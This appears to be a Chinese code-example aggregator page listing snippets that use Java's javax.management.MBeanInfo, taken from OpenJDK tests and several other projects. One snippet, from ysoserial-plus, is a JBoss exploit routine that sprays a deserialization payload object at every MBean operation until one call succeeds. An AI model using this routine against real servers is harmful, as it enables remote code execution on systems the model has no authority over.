java类javax.management.MBeanInfo的实例源码

MBean.java 文件源码 项目:eZooKeeper 阅读 23 收藏 0 点赞 0 评论 0
/**
 * Sets the info.
 * 
 * @param info The info to set.
 */
public void setInfo(MBeanInfo info) {
    _Info = info;

    _AttributeNames = null;
    _AttributeInfoMap = null;
}
MXBeanInteropTest1.java 文件源码 项目:openjdk-jdk10 阅读 25 收藏 0 点赞 0 评论 0
private final int doOperatingSystemMXBeanTest(MBeanServerConnection mbsc) {
    int errorCount = 0 ;
    System.out.println("---- OperatingSystemMXBean") ;

    try {
        ObjectName operationName =
                new ObjectName(ManagementFactory.OPERATING_SYSTEM_MXBEAN_NAME) ;
        MBeanInfo mbInfo = mbsc.getMBeanInfo(operationName);
        errorCount += checkNonEmpty(mbInfo);
        System.out.println("getMBeanInfo\t\t" + mbInfo);
        OperatingSystemMXBean operation = null ;

        operation =
                JMX.newMXBeanProxy(mbsc,
                operationName,
                OperatingSystemMXBean.class) ;
        System.out.println("getArch\t\t"
                + operation.getArch());
        System.out.println("getAvailableProcessors\t\t"
                + operation.getAvailableProcessors());
        System.out.println("getName\t\t"
                + operation.getName());
        System.out.println("getVersion\t\t"
                + operation.getVersion());

        System.out.println("---- OK\n") ;
    } catch (Exception e) {
        Utils.printThrowable(e, true) ;
        errorCount++ ;
        System.out.println("---- ERROR\n") ;
    }

    return errorCount ;
}
HotSpotGraalMBeanTest.java 文件源码 项目:openjdk-jdk10 阅读 17 收藏 0 点赞 0 评论 0
private static Object findAttributeInfo(String attrName, Object info) {
    MBeanAttributeInfo printCompilation = null;
    for (MBeanAttributeInfo attr : ((MBeanInfo) info).getAttributes()) {
        if (attr.getName().equals(attrName)) {
            assertTrue("Readable", attr.isReadable());
            assertTrue("Writable", attr.isWritable());
            printCompilation = attr;
            break;
        }
    }
    return printCompilation;
}
MXBeanInteropTest1.java 文件源码 项目:jdk8u-jdk 阅读 16 收藏 0 点赞 0 评论 0
private final int doClassLoadingMXBeanTest(MBeanServerConnection mbsc) {
    int errorCount = 0 ;
    System.out.println("---- ClassLoadingMXBean") ;

    try {
        ObjectName classLoadingName =
                new ObjectName(ManagementFactory.CLASS_LOADING_MXBEAN_NAME) ;
        MBeanInfo mbInfo = mbsc.getMBeanInfo(classLoadingName);
        errorCount += checkNonEmpty(mbInfo);
        System.out.println("getMBeanInfo\t\t"
                + mbInfo);
        ClassLoadingMXBean classLoading = null;

        classLoading = JMX.newMXBeanProxy(mbsc,
                classLoadingName,
                ClassLoadingMXBean.class) ;
        System.out.println("getLoadedClassCount\t\t"
                + classLoading.getLoadedClassCount());
        System.out.println("getTotalLoadedClassCount\t\t"
                + classLoading.getTotalLoadedClassCount());
        System.out.println("getUnloadedClassCount\t\t"
                + classLoading.getUnloadedClassCount());
        System.out.println("isVerbose\t\t"
                + classLoading.isVerbose());

        System.out.println("---- OK\n") ;

    } catch (Exception e) {
        Utils.printThrowable(e, true) ;
        errorCount++ ;
        System.out.println("---- ERROR\n") ;
    }

    return errorCount ;
}
MXBeanInteropTest1.java 文件源码 项目:jdk8u-jdk 阅读 25 收藏 0 点赞 0 评论 0
private final int doMemoryMXBeanTest(MBeanServerConnection mbsc) {
    int errorCount = 0 ;
    System.out.println("---- MemoryMXBean") ;

    try {
        ObjectName memoryName =
                new ObjectName(ManagementFactory.MEMORY_MXBEAN_NAME) ;
        MBeanInfo mbInfo = mbsc.getMBeanInfo(memoryName);
        errorCount += checkNonEmpty(mbInfo);
        System.out.println("getMBeanInfo\t\t"
                + mbInfo);
        MemoryMXBean memory = null ;

        memory =
                JMX.newMXBeanProxy(mbsc,
                memoryName,
                MemoryMXBean.class,
                true) ;
        System.out.println("getMemoryHeapUsage\t\t"
                + memory.getHeapMemoryUsage());
        System.out.println("getNonHeapMemoryHeapUsage\t\t"
                + memory.getNonHeapMemoryUsage());
        System.out.println("getObjectPendingFinalizationCount\t\t"
                + memory.getObjectPendingFinalizationCount());
        System.out.println("isVerbose\t\t"
                + memory.isVerbose());

        System.out.println("---- OK\n") ;

    } catch (Exception e) {
        Utils.printThrowable(e, true) ;
        errorCount++ ;
        System.out.println("---- ERROR\n") ;
    }

    return errorCount ;
}
JBoss.java 文件源码 项目:ysoserial-plus 阅读 22 收藏 0 点赞 0 评论 0
private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
        throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
    Object[] params = new Object[1];
    params[ 0 ] = payloadObject;
    System.err.println("Querying MBeans");
    Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
    System.err.println("Found " + testMBeans.size() + " MBeans");
    for ( ObjectInstance oi : testMBeans ) {
        MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
        for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
            try {
                mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
                System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
                return;
            }
            catch ( Throwable e ) {
                String msg = e.getMessage();
                if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
                    int start = msg.indexOf('"');
                    int stop = msg.indexOf('"', start + 1);
                    String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "<unknown>";
                    if ( !"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
                        int cstart = msg.indexOf(':');
                        int cend = msg.indexOf(' ', cstart + 2);
                        String cls = msg.substring(cstart + 2, cend);
                        System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
                    }
                }
                else {
                    System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
                    return;
                }
            }
        }
    }
}
ConfigRegistryImpl.java 文件源码 项目:config 阅读 14 收藏 0 点赞 0 评论 0
private void registerJmxMBean() {
  try {
    MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
    ObjectName objectName = new ObjectName(settings.getJmxMBeanName());
    mBeanServer.registerMBean(new JmxConfigRegistry(this), objectName);
    MBeanInfo mBeanInfo = mBeanServer.getMBeanInfo(objectName);
    LOGGER.info("Registered JMX MBean: {}", mBeanInfo);
  } catch (Exception e) {
    LOGGER.warn("Failed to register JMX MBean '{}', cause: {}", settings.getJmxMBeanName(), e);
  }
}
SetConfigurationSetting.java 文件源码 项目:oscm 阅读 19 收藏 0 点赞 0 评论 0
@Override
public synchronized MBeanInfo getMBeanInfo() {
    MBeanParameterInfo[] parameter = new MBeanParameterInfo[] {
            new MBeanParameterInfo("informationId", "java.lang.String",
                    "The information ID which the value will be changed. e.g. AUTH_MODE"),
            new MBeanParameterInfo("value", "java.lang.String",
                    "The value to be set for the information ID. e.g. INTERNAL, SAML_SP") };

    MBeanOperationInfo[] operations = { new MBeanOperationInfo(
            SET_CONFIGURATION_SETTING, "Set configuration setting",
            parameter, "java.lang.String", MBeanOperationInfo.ACTION) };

    return new MBeanInfo(this.getClass().getName(),
            "Set Configuration Setting MBean", null, null, operations, null);
}
StartBillingRun.java 文件源码 项目:oscm 阅读 15 收藏 0 点赞 0 评论 0
@Override
public synchronized MBeanInfo getMBeanInfo() {
    MBeanParameterInfo[] parameter = new MBeanParameterInfo[] { new MBeanParameterInfo(
            "currentDate", "java.lang.String",
            "The current date for the billing run. Format is "
                    + DATE_FORMAT.toUpperCase()) };

    MBeanOperationInfo[] operations = { new MBeanOperationInfo(
            START_BILLING_RUN, "Start billing run", parameter,
            "java.lang.String", MBeanOperationInfo.ACTION) };

    return new MBeanInfo(this.getClass().getName(), "Billing Run MBean",
            null, null, operations, null);
}
JMXAccessorSetTask.java 文件源码 项目:lams 阅读 23 收藏 0 点赞 0 评论 0
/**
 * Get MBean Attriute from Mbean Server
 * @param jmxServerConnection
 * @param name
 * @param attribute
 * @return The type
 * @throws Exception
 */
protected String getMBeanAttributeType(
        MBeanServerConnection jmxServerConnection,
        String name,
        String attribute) throws Exception {
    ObjectName oname = new ObjectName(name);
    String mattrType = null;
    MBeanInfo minfo = jmxServerConnection.getMBeanInfo(oname);
    MBeanAttributeInfo attrs[] = minfo.getAttributes();
    if (attrs != null) {
        for (int i = 0; mattrType == null && i < attrs.length; i++) {
            if (attribute.equals(attrs[i].getName()))
                mattrType = attrs[i].getType();
        }
    }
    return mattrType;
}


问题


面经


文章

微信
公众号

扫码关注公众号